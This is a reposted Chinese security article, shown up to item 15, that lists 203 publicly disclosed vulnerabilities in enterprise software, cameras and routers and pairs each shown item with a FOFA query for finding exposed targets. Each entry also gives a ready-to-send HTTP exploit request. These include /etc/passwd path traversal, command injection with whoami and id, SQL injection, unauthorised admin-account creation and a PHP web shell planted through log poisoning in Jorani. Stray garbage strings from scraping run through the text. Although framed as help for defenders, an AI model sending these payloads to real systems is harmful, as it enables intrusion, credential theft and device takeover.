互联网公开漏洞整理202309-202406--转载

admin

互联网公开漏洞整理202309-202406
; P6 Y) R* a$ {道一安全 2024-06-05 07:41 北京
% b  {$ c/ t: ?, x以下文章来源于网络安全新视界 ，作者网络安全新视界

发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。
  u1 ~2 m# K2 A% R* v  j. V3 M0 u6 }8 y6 A
& v* l  }  C2 Z3 F漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。
* |/ `' W3 [5 L% U% q9 ]
+ [; A3 z5 q) H' k4 |6 S* Q& b安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。

: V5 S4 K+ f' V5 I: O( [3 w/ s6 z文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。
0 ~" F  s% J# {
合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。
7 l5 u( U$ Z0 S: G$ J
6 n, B' ~3 }; C( {5 g
6 I* W" X4 G( t: @! x& a: }0 ~* A. B声明
3 H, w% E* _  |  G! p2 R
9 e2 y0 o  u1 S& B' I( b为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。

有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。
, r; `- E5 H* J2 ^5 |) r

$ ], [6 O: j# n6 }) M
/ }( y. x, r' x) [. f; z% K0 g目录
3 n8 K8 t' L+ [; J. X
01

1. StarRocks MPP数据库未授权访问
2. Casdoor系统static任意文件读取
! p6 m5 a! s5 k+ m3. EasyCVR智能边缘网关 userlist 信息泄漏
4. EasyCVR视频管理平台存在任意用户添加
$ `: u: R3 |4 ^& j3 J5. NUUO NVR 视频存储管理设备远程命令执行
0 |5 i) |  I! }' F5 r6. 深信服 NGAF 任意文件读取
" Q2 g9 e6 s" }) {1 W6 q- T5 R7. 鸿运主动安全监控云平台任意文件下载
8. 斐讯 Phicomm 路由器RCE
+ m; p1 m4 K6 E' m/ t2 b9. 稻壳CMS keyword 未授权SQL注入
10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
2 ?% j6 Q: |& v11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
12. Jorani < 1.0.2 远程命令执行
13. 红帆iOffice ioFileDown任意文件读取
% j3 x3 ]5 b7 `3 k. G  ~( w9 U- H' O14. 华夏ERP（jshERP）敏感信息泄露
# z# V0 M2 ]1 V4 a15. 华夏ERP getAllList信息泄露
16. 红帆HFOffice医微云SQL注入
17. 大华 DSS itcBulletin SQL 注入
2 D% ?( L) G; Y* d. I" ]- d18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
$ M! A6 f/ g5 H, Y  U1 H  _( f' j% h20. 大华ICC智能物联综合管理平台任意文件读取
21. 大华ICC智能物联综合管理平台random远程代码执行
! _7 f& S$ s2 b# F7 b) n% s22. 大华ICC智能物联综合管理平台 log4j远程代码执行
3 Q! c( n$ J$ v23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
24. 用友NC 6.5 accept.jsp任意文件上传
: k1 A% j% c3 k' \' u# U1 Z25. 用友NC registerServlet JNDI 远程代码执行
26. 用友NC linkVoucher SQL注入
1 \6 J" f: O% y6 V. A27. 用友 NC showcontent SQL注入
+ K* m0 E8 Y6 O; h28. 用友NC grouptemplet 任意文件上传
7 U) u8 |% A* {1 I; R29. 用友NC down/bill SQL注入
30. 用友NC importPml SQL注入
6 H8 @; M3 F% g# U/ T: M31. 用友NC runStateServlet SQL注入
+ e: Q9 d8 T2 W3 K' h1 E: q32. 用友NC complainbilldetail SQL注入
33. 用友NC downTax/download SQL注入
34. 用友NC warningDetailInfo接口SQL注入
9 ~: e# x! {* P* N; D$ X35. 用友NC-Cloud importhttpscer任意文件上传
; Q% y" A  p7 g! p9 X36. 用友NC-Cloud soapFormat XXE
4 a* s) d) ~8 M# N7 n7 y37. 用友NC-Cloud IUpdateService XXE
38. 用友U8 Cloud smartweb2.RPC.d XXE
39. 用友U8 Cloud RegisterServlet SQL注入
8 K9 y/ N0 \- e' U) E+ \! ^40. 用友U8-Cloud XChangeServlet XXE
4 x7 e( M* L5 _+ P1 B4 _41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
3 `- {0 m+ ]- m+ R5 [1 j& x; f42. 用友GRP-U8 SmartUpload01 文件上传
43. 用友GRP-U8 userInfoWeb SQL注入致RCE
44. 用友GRP-U8 bx_dj_check.jsp SQL注入
" T1 f* n$ t4 l45. 用友GRP-U8 ufgovbank XXE
46. 用友GRP-U8 sqcxIndex.jsp SQL注入
5 V* s  N. Q& L5 z! D* C47. 用友GRP A++Cloud 政府财务云 任意文件读取
, W# v% u; I' w, a  I, n48. 用友U8 CRM swfupload 任意文件上传
49. 用友U8 CRM系统uploadfile.php接口任意文件上传
50. QDocs Smart School 6.4.1 filterRecords SQL注入
5 r# l' z9 F. I' c. f51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
+ L; J. }6 y% t* T) \52. 泛微E-Office json_common.php sql注入
. q3 E; b% Q* M53. 迪普 DPTech VPN Service 任意文件上传
54. 畅捷通T+ getstorewarehousebystore 远程代码执行
55. 畅捷通T+ getdecallusers信息泄露
: b$ Y0 R: D$ @2 m. z9 g* d56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
57. 畅捷通T+ keyEdit.aspx SQL注入
( c+ M4 d% E9 A4 T, l58. 畅捷通T+ KeyInfoList.aspx sql注入
. s! q' P# P5 z, d$ |/ L59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
60. 百卓Smart管理平台 importexport.php SQL注入
" X$ z- y: U, |7 M9 U; x7 H, U61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
& T7 o  C* F5 K* z- y0 n62. IP-guard WebServer 远程命令执行
63. IP-guard WebServer任意文件读取
/ M, e3 T8 Y0 l1 S64. 捷诚管理信息系统CWSFinanceCommon SQL注入
65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
$ ~3 g8 p1 f, R9 W  Q& A0 U5 J66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
$ X: l5 X% k0 d2 N6 x67. 万户ezOFFICE wpsservlet任意文件上传
68. 万户ezOFFICE wf_printnum.jsp SQL注入
69. 万户 ezOFFICE contract_gd.jsp SQL注入
8 m! j/ h0 n; S+ B70. 万户ezEIP success 命令执行
71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
! n9 b- K7 I$ M/ l72. 致远OA getAjaxDataServlet XXE
" b: }7 x1 g; E: A- ?# v1 r. |: V/ i73. GeoServer wms远程代码执行
74. 致远M3-server 6_1sp1 反序列化RCE
75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
76. 新开普掌上校园服务管理平台service.action远程命令执行
77. F22服装管理软件系统UploadHandler.ashx任意文件上传
6 I  V' Y2 E2 I$ |& \' D78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
79. BYTEVALUE 百为流控路由器远程命令执行
! b5 q, W7 L9 w6 R' v80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
# }" A% X, `+ e; e* j5 p: c2 w81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
  ^( E/ u2 z2 G83. JeecgBoot testConnection 远程命令执行
3 U3 r% f" F( f# v' v1 l84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
7 U# ~( T. c& b! C. }85. SysAid On-premise< 23.3.36远程代码执行
86. 日本tosei自助洗衣机RCE
3 Z$ w% S" f+ I1 M87. 安恒明御安全网关aaa_local_web_preview文件上传
88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
* ?' I" g5 ?' C* Z8 ?/ `/ [89. 致远互联FE协作办公平台editflow_manager存在sql注入
90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
) o& K+ h" ^5 w+ y( E91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
& P- _8 @% f# o: F92. 海康威视运行管理中心session命令执行
93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
2 s; t$ L# B! u6 g+ e96. Apache OFBiz  18.12.11 groovy 远程代码执行
0 m7 X! X, r, @) P8 f6 |97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
5 D& w8 f% [) C6 [8 o4 P0 g98. SpiderFlow爬虫平台远程命令执行
) B( A) N% F# @5 z- i! R4 r0 S99. Ncast盈可视高清智能录播系统busiFacade RCE
; Q8 j& W' v& v$ c  l100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
101. ivanti policy secure-22.6命令注入
9 B) \% o; A5 ^# @. W3 ^: f& t102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
6 ?# p& P; _- C' z# J" ]103. Ivanti Pulse Connect Secure VPN XXE
104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
105. SpringBlade v3.2.0 export-user SQL 注入
106. SpringBlade dict-biz/list SQL 注入
; b) a. U  B" N0 p107. SpringBlade tenant/list SQL 注入
) Z4 K2 D( G$ a" x, C108. D-Tale 3.9.0 SSRF
1 s, T# g/ Z) I6 w8 A  r/ o4 P) y109. Jenkins CLI 任意文件读取
) e/ M4 T3 H! S3 n( ^4 X110. Goanywhere MFT 未授权创建管理员
111. WordPress Plugin HTML5 Video Player SQL注入
2 S# C! d3 G  m0 T7 n9 E112. WordPress Plugin NotificationX SQL 注入
3 Q& z+ S: V3 D( O113. WordPress Automatic 插件任意文件下载和SSRF
114. WordPress MasterStudy LMS插件 SQL注入
115. WordPress Bricks Builder <= 1.9.6 RCE
6 ^7 X" W* P. p116. wordpress js-support-ticket文件上传
2 N: y$ b6 S' m) o' @+ n9 a117. WordPress LayerSlider插件SQL注入
118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
119. 北京百绰智能S20后台sysmanageajax.php sql注入
1 t! L0 N2 w+ x& k. x1 u6 `) G120. 北京百绰智能S40管理平台导入web.php任意文件上传
121. 北京百绰智能S42管理平台userattestation.php任意文件上传
: n' i$ G/ \4 r2 `- z122. 北京百绰智能s200管理平台/importexport.php sql注入
! l+ i" _8 [9 R: J. Z123. Atlassian Confluence 模板注入代码执行
124. 湖南建研工程质量检测系统任意文件上传
4 J9 q' d0 f2 [- E2 H& `: p125. ConnectWise ScreenConnect身份验证绕过
0 m6 D! p; q; V, Y$ O$ D126. Aiohttp 路径遍历
127. 广联达Linkworks DataExchange.ashx XXE
128. Adobe ColdFusion 反序列化
7 z4 f8 b( w2 \( h7 R2 j129. Adobe ColdFusion 任意文件读取
! K5 b4 c7 k$ t9 v130. Laykefu客服系统任意文件上传
131. Mini-Tmall <=20231017 SQL注入
# [+ g$ M7 @, I3 F8 u/ N132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
133. H5 云商城 file.php 文件上传
: C3 h' E  S4 a: F  q+ s3 N& p134. 网康NS-ASG应用安全网关index.php sql注入
135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
136. NextChat cors SSRF
137. 福建科立迅通信指挥调度平台down_file.php sql注入
138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
- r4 J" B+ k! U- w6 e+ v139. 福建科立讯通信指挥调度平台editemedia.php sql注入
140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
. ^+ j9 \* w) m" d: e: M& L141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
142. CMSV6车辆监控平台系统中存在弱密码
143. Netis WF2780 v2.1.40144 远程命令执行
144. D-Link nas_sharing.cgi 命令注入
145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
146. MajorDoMo thumb.php 未授权远程代码执行
147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
148. CrushFTP 认证绕过模板注入
# J6 S; J+ e/ y& p) o+ n149. AJ-Report开源数据大屏存在远程命令执行
150. AJ-Report 1.4.0 认证绕过与远程代码执行
5 G9 L' R, Q% t& b151. AJ-Report 1.4.1 pageList sql注入
152. Progress Kemp LoadMaster 远程命令执行
153. gradio任意文件读取
154. 天维尔消防救援作战调度平台 SQL注入
2 o  f! J5 ]; ^2 s: ]# \9 b155. 六零导航页 file.php 任意文件上传
; f+ j% k8 t0 y; e( X9 W. C156. TBK DVR-4104/DVR-4216 操作系统命令注入
6 @: N+ P& M& d% m% \: l' ]& Q157. 美特CRM upload.jsp 任意文件上传
158. Mura-CMS-processAsyncObject存在SQL注入
159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
) ~3 @, a( v5 C; I! Q/ v160. Sonatype Nexus Repository 3目录遍历与文件读取
1 C! ]# V0 ^0 G6 p# g7 I161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
- h! s, y. h9 }/ d$ Q, o162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
& C6 n  p: t3 L2 ?4 t3 }163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
# v4 \# Q4 W# {, o8 ^6 Y; C165. OrangeHRM 3.3.3 SQL 注入
166. 中成科信票务管理平台SeatMapHandler SQL注入
8 N- r! k7 w: x& p: w( K- P; P3 Y167. 精益价值管理系统 DownLoad.aspx任意文件读取
168. 宏景EHR OutputCode 任意文件读取
, K; M8 A$ x- Q: h! W& Y169. 宏景EHR downlawbase SQL注入
) x6 |9 y1 _, N5 D170. 宏景EHR DisplayExcelCustomReport 任意文件读取
) b" d2 |/ V( b: L& B; {5 o171. 通天星CMSV6车载定位监控平台 SQL注入
172. DT-高清车牌识别摄像机任意文件读取
173. Check Point 安全网关任意文件读取
174. 金和OA C6 FileDownLoad.aspx 任意文件读取
% |" b2 b$ S% a! a  a0 [5 C- Q- c175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
0 B7 ]7 d2 f" {# e3 L; M9 @/ F+ Q- C. x176. 电信网关配置管理系统 rewrite.php 文件上传
177. H3C路由器敏感信息泄露
178. H3C校园网自助服务系统-flexfileupload-任意文件上传
- D1 T/ r& T7 n" r) Z$ ?179. 建文工程管理系统存在任意文件读取
180. 帮管客 CRM jiliyu SQL注入
- S4 B1 d1 ?1 ^3 c+ _9 X! e181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
; ?' {5 k/ w8 b# V183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
2 j4 `) Z1 N( T. B3 D$ Y0 p184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
0 |) r: h0 m6 |/ f5 T- R: {185. 瑞友天翼应用虚拟化系统SQL注入
2 N; @5 @) g1 a& ]- T' m( [* \8 C" ?186. F-logic DataCube3 SQL注入
# @# b! C- J$ d187. Mura CMS processAsyncObject SQL注入
3 h7 j6 J' I4 I0 O, I" t  p- t1 Q188. 叁体-佳会视频会议 attachment 任意文件读取
189. 蓝网科技临床浏览系统 deleteStudy SQL注入
190. 短视频矩阵营销系统 poihuoqu 任意文件读取
191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
/ r8 l5 w3 u  D: X- ~1 _2 B192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
) r. I7 W: H5 [5 X+ ]5 A193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
& ~* X3 M0 t1 E- Z& _& z9 h195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
. |# J& D4 E: I; M  a" B196. 河南省风速科技统一认证平台密码重置
% R: g2 n& T# h- @197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
- e& n/ Y9 I1 r8 c198.  阿里云盘 WebDAV 命令注入
199. cockpit系统assetsmanager_upload接口 文件上传
" N% X/ r, V- {0 K2 o$ Z: y200. SeaCMS海洋影视管理系统dmku SQL注入
4 V; q/ E1 {* B2 H5 s201. 方正全媒体新闻采编系统 binary SQL注入
6 ?. F. H9 x1 ?5 ^7 g/ J202. 微擎系统 AccountEdit任意文件上传
7 z' R) t* o( J: R9 f  r203. 红海云EHR PtFjk 文件上传

POC列表
4 o# O' x% V4 p# G) V) \; g; x
0 b8 |3 P0 I, x' d8 ]% x$ r02
9 x7 u$ i, Y9 i- I* I. P3 a
1. StarRocks MPP数据库未授权访问
* {& ^8 s3 w% u* ?- r; v4 T5 t6 PFOFA ：title="StarRocks"
  F1 S6 q/ W/ |, ^5 c/ d7 SGET /mem_tracker HTTP/1.1
) V6 u8 Q6 l" c# b! y0 M! I- ]Host: URL


2. Casdoor系统static任意文件读取
* h; ^+ k3 L1 o. d3 sFOFA ：title="Casdoor"
- L0 R6 r% J8 s& ^) HGET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
Host: xx.xx.xx.xx:9999
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
! r6 x- C* J& b; l6 E$ HAccept: */*
8 |# @- ]0 X- z4 g! FAccept-Language: en
7 I" u0 I: H) z" b9 U5 ^$ RAccept-Encoding: gzip

0 I! j4 [' {9 p  Z/ l' I' u
3. EasyCVR智能边缘网关 userlist 信息泄漏
* s" G4 q* P8 h# W$ ~FOFA ：title="EasyCVR"
GET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
Host: xx.xx.xx.xx


$ p; V* H9 r2 v3 K. m* g4. EasyCVR视频管理平台存在任意用户添加
FOFA ：title="EasyCVR"
& H  P) k+ W* k; |' A6 _# B2 o
; e8 [8 x7 _$ T. @password更改为自己的密码md5
POST /api/v1/adduser HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
$ E  h' g4 w/ C; g' n0 J: O  J
name=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1


5. NUUO NVR 视频存储管理设备远程命令执行
FOFA：title="Network Video Recorder Login"
GET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
3 @! b/ g0 ]" K/ JHost: xx.xx.xx.xx


6. 深信服 NGAF 任意文件读取
, X8 H; f" [/ jFOFA：title="SANGFOR | NGAF"
GET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
2 I! |1 h. m6 FHost:
" \1 ]2 B. H/ b/ O) t  F0 s
5 _5 }' O* z% l" e& F" v2 n% Z
8 J1 F- X7 F+ l! V3 n& n6 @5 m7. 鸿运主动安全监控云平台任意文件下载
& Z/ h6 W5 n) w4 C1 f' ]FOFA：body="./open/webApi.html"
. o8 w6 ]' P7 K. n; v0 v; IGET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
Host:
3 k0 @6 N6 l: k5 D  j

$ |5 q) ^$ k1 O) N' N8. 斐讯 Phicomm 路由器RCE
% L* m1 O$ m7 `# q' F% J+ R+ HFOFA：icon_hash="-1344736688"
, }5 ~+ ~9 {6 ~. W  O默认账号admin登录后台后，执行操作
9 w* z) N1 u9 K2 ]- bPOST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
Host: x.x.x.x
" p: i% g+ v! p8 n1 ]& \4 PCookie: sysauth=第一步登录获取的cookie
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
: x( W2 S0 f. j0 N3 I: _
4 Z* w& M! r; ?5 _% A------WebKitFormBoundaryxbgjoytz
0 d# {: p" J$ A+ U6 U" S' d" v0 hContent-Disposition: form-data; name="wifiRebootEnablestatus"

%s
------WebKitFormBoundaryxbgjoytz
7 r; h8 @3 E0 u: qContent-Disposition: form-data; name="wifiRebootrange"
& }2 S7 x" [* y$ @3 [
12:00; id;
* T: ]$ T  ^4 e% G& U3 f4 p------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootendrange"

$ C" P# Y" g( V! J: h0 B%s:
; k: L8 y$ Y  t  _5 |0 h------WebKitFormBoundaryxbgjoytz
( X4 C  V$ b: `Content-Disposition: form-data; name="cururl2"
2 A4 ^, X% M; C; `" }& J: n

------WebKitFormBoundaryxbgjoytz--

; t% U! H8 B& I& V! G' g3 w! s
9. 稻壳CMS keyword 未授权SQL注入
$ k* x( z! C2 o( R8 FFOFA：app="Doccms"
GET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
Host: x.x.x.x


payload为下列语句的二次Url编码

' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#
% P( H$ O' M0 ^& x$ \
10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
FOFA：icon_hash="953405444"

% I8 x7 z* W$ T6 y) a) Z" B2 k6 o文件上传后响应中包含上传文件的路径
POST /eis/service/api.aspx?action=saveImg HTTP/1.1
Host: x.x.x.x:xx
/ U, Y# f- D6 C9 b4 U& X: bUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
! h7 W: \; q, r' jContent-Length: 197
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
& r6 V3 y& e: q5 XConnection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu
* N, _# k8 V0 a# w
4 i& P) j7 \0 q------WebKitFormBoundaryxdgaqmqu
Content-Disposition: form-data; name="file"filename="icfitnya.txt"
( r' a- l3 N& [  e: j5 B3 jContent-Type: text/html
; [5 m/ p9 T. h% X
! n+ B3 S( r+ g  K4 U! Qjmnqjfdsupxgfidopeixbgsxbf
------WebKitFormBoundaryxdgaqmqu--
/ j6 b3 g1 k# p4 d7 }
& |( t8 F) y# ]: z4 t4 R
3 @3 g* H  u- \2 _5 m  b- ?11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
FOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
GET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
Host: 127.0.0.1
Pragma: no-cache
; K. g3 ?+ j  {/ p. @/ BCache-Control: no-cache
6 r. R# N7 Y- q/ T- v. CUpgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close


12. Jorani < 1.0.2 远程命令执行
: m4 p( K1 _, H# D" q! L9 KFOFA：title="Jorani"
+ j, y  o8 M9 @% V( s第一步先拿到cookie
8 s9 x2 V0 G% ^* }% xGET /session/login HTTP/1.1
Host: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
Accept-Encoding: gzip

% h9 L, z# k% d$ o8 |; h, _# `
' n- X- u3 k3 V2 |0 N/ a/ r7 r响应中csrf_cookie_jorani用于后续请求
HTTP/1.1 200 OK
Connection: close
Cache-Control: no-store, no-cache, must-revalidate
5 s( u* {; ?$ c: iContent-Type: text/html; charset=UTF-8
Date: Tue, 24 Oct 2023 09:34:28 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
' y5 P" `' f# @/ ELast-Modified: Tue, 24 Oct 2023 09:34:28 GMT
( Q1 n0 Z8 \  d( S. {0 P' v  G, I5 QPragma: no-cache
Server: Apache/2.4.54 (Debian)
$ i4 [: r# T5 O6 _8 y4 g2 n" CSet-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
8 s3 y4 \( \* H7 [Set-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
! E1 K+ |' {+ t, pVary: Accept-Encoding
+ ?' u/ M) `% y9 n
0 m/ \/ ^- v+ F3 e1 ~2 s
# @- i$ ~. j& t+ J8 d0 _! d% O! KPOST请求，执行函数并进行base64编码
) S) c3 @. q* F: U% p' uPOST /session/login HTTP/1.1
# w6 s8 b. n% N) _( X, vHost: 192.168.190.30
( a9 W: B1 J6 Z* L4 EUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
Content-Length: 252
Content-Type: application/x-www-form-urlencoded
Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
: m- X; c  `8 ?+ ]# Z3 yAccept-Encoding: gzip
) K& z# T, g7 i. Z7 d# [
" Y: F0 `6 O: g2 B/ _: Zcsrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor

1 R' u9 s8 z9 K9 v) b  u) l
, A* j7 q% m( J$ l0 x. f7 g% g7 t
向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
. P$ L' A' A3 q, cGET /pages/view/log-2023-10-24 HTTP/1.1
Host: 192.168.190.30
6 k, a- X0 J% Q  w5 f1 L( GUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
4 y& w  c7 R& J0 z# e( yConnection: close
2 E- H1 q& {3 ^1 r  PCookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
K1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
X-REQUESTED-WITH: XMLHttpRequest
Accept-Encoding: gzip


13. 红帆iOffice ioFileDown任意文件读取
FOFA：app="红帆-ioffice"
# j, A* F) o5 A9 ]/ u' R* L' M& KGET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
9 }. F. i: M. }+ D$ oHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
) U) R: X& d6 |( h# X' X7 B* bAccept: */*
2 _: m# Z, b  }: b. R. z8 V4 b2 mAccept-Encoding: gzip
1 d! R: i5 @! t' g

14. 华夏ERP（jshERP）敏感信息泄露
FOFA：body="jshERP-boot"
泄露内容包括用户名密码
GET /jshERP-boot/user/getAllList;.ico HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
/ |  i. H7 `) L1 _3 QConnection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
) q  U. d. C+ u

15. 华夏ERP getAllList信息泄露
- d  _1 q& Q% OCVE-2024-0490
3 ~# i/ i. g, p- E1 nFOFA：body="jshERP-boot"
( g" \% @+ ?# V5 t% E" @: t9 p泄露内容包括用户名密码
1 P9 \2 d" b" Z* x& ]! KGET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
Host: 192.168.40.130:100
! ]% @6 W" w2 o' I  m% TUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
; O6 i' d$ S' I6 e% qConnection: close
, g: |3 n; `% OAccept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
2 E% b" J, o  [) xAccept-Language: en
3 s4 R/ F$ B8 ^sec-ch-ua-platform: Windows
